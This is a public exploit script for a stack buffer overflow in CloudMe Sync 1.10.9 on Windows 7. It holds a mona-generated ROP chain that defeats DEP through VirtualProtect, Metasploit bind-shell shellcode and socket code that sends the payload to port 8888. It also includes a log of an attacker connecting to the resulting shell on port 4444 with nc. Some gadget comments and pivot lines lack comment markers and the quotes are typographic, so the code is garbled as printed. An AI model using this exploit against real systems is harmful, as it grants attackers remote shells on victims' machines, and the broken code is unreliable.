# Exploit: CloudMe Sync < 1.11.0 – Buffer Overflow (SEH) (DEP Bypass)
# Date: 2018-05-27
# Author: Juan Prescotto
# Tested Against: Win7 Pro SP1 64 bit
# Software Download: https://www.cloudme.com/downloads/CloudMe_1109.exe
# Tested Against Version: 1.10.9
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine
# Credit: Thanks to John Page (aka hyp3rlinx) (https://www.exploit-db.com/exploits/44027/)
# for his work on the original exploit
# Bad Characers: \x00
# SEH Offset: 2236
# Non-Participating Modules Used: Qt5Gui.dll, Qt5Core.dll,libstdc++-6.dll, libgcc_s_dw2-1.dll, libwinpthread-1.dll
# Victim Machine:
# C:\>netstat -nao | find “8888”
# TCP 0.0.0.0:8888 0.0.0.0:0 LISTENING 2640
# C:\>tasklist | find “2640”
# CloudMe.exe 2640 Console 1 36,632 K
# Attacking Machine:
# root@kali:~/Desktop# python cloudme.py
# CloudMe Sync v1.10.9 Buffer Overflow with DEP Bypass
# [+] CloudMe Target IP> 192.168.12.4
# Sending buffer overflow to CloudMe Service
# Target Should be Running a Bind Shell on Port 4444!
# root@kali:~/Desktop# nc -nv 192.168.12.4 4444
# (UNKNOWN) [192.168.12.4] 4444 (?) open
# Microsoft Windows [Version 6.1.7601]
# Copyright (c) 2009 Microsoft Corporation. All rights reserved.
# C:\Users\jprescotto\AppData\Local\Programs\CloudMe\CloudMe>
# My register setup when VirtualProtect() is called (Defeat DEP) :
—
# EAX = NOP (0x90909090)
# ECX = lpOldProtect (ptr to W address)
# EDX = NewProtect (0x40)
# EBX = dwSize
# ESP = lPAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualProtect()
# EDI = ROP NOP (RETN)
#!/usr/bin/python
import socket,struct
print ‘CloudMe Sync v1.10.9 Buffer Overflow with DEP Bypass’
def create_rop_chain():
rop chain generated with mona.py – www.corelan.be
rop_gadgets = [
0x61d1e7fe, POP ECX RETN [Qt5Gui.dll]
0x690398a8, ptr to &VirtualProtect() [IAT Qt5Core.dll]
0x6fe70610, MOV EAX,DWORD PTR DS:[ECX] RETN [libstdc++-6.dll]
0x61c40a6f, XCHG EAX,ESI RETN [Qt5Gui.dll]
0x68c8ea5a, POP EBP RETN [Qt5Core.dll]
0x68d652e1, & call esp [Qt5Core.dll]
0x68fa7ca2, POP EDX RETN [Qt5Core.dll]
0xfffffdff, Value to negate, will become 0x00000201
0x6eb47092, NEG EDX RETN [libgcc_s_dw2-1.dll]
0x68d52747, POP EBX RETN [Qt5Core.dll]
0xffffffff,
0x68f948bc, INC EBX RETN [Qt5Core.dll]
0x68f8063c, ADD EBX,EDX ADD AL,0A RETN [Qt5Core.dll]
0x68f9a472, POP EDX RETN [Qt5Core.dll]
0xffffffc0, Value to negate, will become 0x00000040
0x6eb47092, NEG EDX RETN [libgcc_s_dw2-1.dll]
0x61f057ab, POP ECX RETN [Qt5Gui.dll]
0x6eb5efa3, &Writable location [libgcc_s_dw2-1.dll]
0x61dc14d1, POP EDI RETN [Qt5Gui.dll]
0x64b4ed0c, RETN (ROP NOP) [libwinpthread-1.dll]
0x61ba6245, POP EAX RETN [Qt5Gui.dll]
0x90909090, nop
0x61b45ea3, PUSHAD RETN [Qt5Gui.dll]
]
return ”.join(struct.pack(‘<I’, _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
#msf payload(shell_bind_tcp) > show options
#Module options (payload/windows/shell_bind_tcp):
# Name Current Setting Required Description
# EXITFUNC thread yes Exit technique (Accepted: ”, seh, thread, process, none)
# LPORT 4444 yes The listen port
# RHOST no The target address
#msf payload(shell_bind_tcp) > generate -b ‘\x00’ -t py
# windows/shell_bind_tcp – 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
shellcode = “”
shellcode += “\xda\xcf\xba\x8c\x90\x7b\x70\xd9\x74\x24\xf4\x5e\x33”
shellcode += “\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\xda\x83\x99”
shellcode += “\x85\x1e\x4b\xdf\x66\xde\x8c\x80\xef\x3b\xbd\x80\x94”
shellcode += “\x48\xee\x30\xde\x1c\x03\xba\xb2\xb4\x90\xce\x1a\xbb”
shellcode += “\x11\x64\x7d\xf2\xa2\xd5\xbd\x95\x20\x24\x92\x75\x18”
shellcode += “\xe7\xe7\x74\x5d\x1a\x05\x24\x36\x50\xb8\xd8\x33\x2c”
shellcode += “\x01\x53\x0f\xa0\x01\x80\xd8\xc3\x20\x17\x52\x9a\xe2”
shellcode += “\x96\xb7\x96\xaa\x80\xd4\x93\x65\x3b\x2e\x6f\x74\xed”
shellcode += “\x7e\x90\xdb\xd0\x4e\x63\x25\x15\x68\x9c\x50\x6f\x8a”
shellcode += “\x21\x63\xb4\xf0\xfd\xe6\x2e\x52\x75\x50\x8a\x62\x5a”
shellcode += “\x07\x59\x68\x17\x43\x05\x6d\xa6\x80\x3e\x89\x23\x27”
shellcode += “\x90\x1b\x77\x0c\x34\x47\x23\x2d\x6d\x2d\x82\x52\x6d”
shellcode += “\x8e\x7b\xf7\xe6\x23\x6f\x8a\xa5\x2b\x5c\xa7\x55\xac”
shellcode += “\xca\xb0\x26\x9e\x55\x6b\xa0\x92\x1e\xb5\x37\xd4\x34”
shellcode += “\x01\xa7\x2b\xb7\x72\xee\xef\xe3\x22\x98\xc6\x8b\xa8”
shellcode += “\x58\xe6\x59\x44\x50\x41\x32\x7b\x9d\x31\xe2\x3b\x0d”
shellcode += “\xda\xe8\xb3\x72\xfa\x12\x1e\x1b\x93\xee\xa1\x32\x38”
shellcode += “\x66\x47\x5e\xd0\x2e\xdf\xf6\x12\x15\xe8\x61\x6c\x7f”
shellcode += “\x40\x05\x25\x69\x57\x2a\xb6\xbf\xff\xbc\x3d\xac\x3b”
shellcode += “\xdd\x41\xf9\x6b\x8a\xd6\x77\xfa\xf9\x47\x87\xd7\x69”
shellcode += “\xeb\x1a\xbc\x69\x62\x07\x6b\x3e\x23\xf9\x62\xaa\xd9”
shellcode += “\xa0\xdc\xc8\x23\x34\x26\x48\xf8\x85\xa9\x51\x8d\xb2”
shellcode += “\x8d\x41\x4b\x3a\x8a\x35\x03\x6d\x44\xe3\xe5\xc7\x26”
shellcode += “\x5d\xbc\xb4\xe0\x09\x39\xf7\x32\x4f\x46\xd2\xc4\xaf”
shellcode += “\xf7\x8b\x90\xd0\x38\x5c\x15\xa9\x24\xfc\xda\x60\xed”
shellcode += “\x1c\x39\xa0\x18\xb5\xe4\x21\xa1\xd8\x16\x9c\xe6\xe4”
shellcode += “\x94\x14\x97\x12\x84\x5d\x92\x5f\x02\x8e\xee\xf0\xe7”
shellcode += “\xb0\x5d\xf0\x2d”
ip=raw_input(‘[+] CloudMe Target IP> ‘)
stack_pivot=struct.pack(‘<L’,0x61d95f58) {pivot 3492 / 0xda4} (Lands us into rop nop chain –> rop_chain) : SUB ESP,8 ADD ESP,0D8C POP EBX POP ESI POP EDI POP EBP RETN 0x08 ** [Qt5Gui.dll] ** | {PAGE_EXECUTE_READ}
rop_nop1=struct.pack(‘<L’,0x68b1a714) * 300 RETN 0x10 ** [Qt5Core.dll] ** | {PAGE_EXECUTE_READ}
rop_nop2=struct.pack(‘<L’,0x61c6fc53) * 50 RETN ** [Qt5Gui.dll] ** | {PAGE_EXECUTE_READ}
nop = “\x90” * 20
payload = “A” * 2236 + stack_pivot + rop_nop1 + rop_nop2 + rop_chain + nop + shellcode + “B”*(5600-len(rop_nop1)-len(rop_nop2)-len(rop_chain)-len(nop)-len(shellcode))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,8888))
s.send(payload)
print ‘Sending buffer overflow to CloudMe Service’
print ‘Target Should be Running a Bind Shell on Port 4444!’
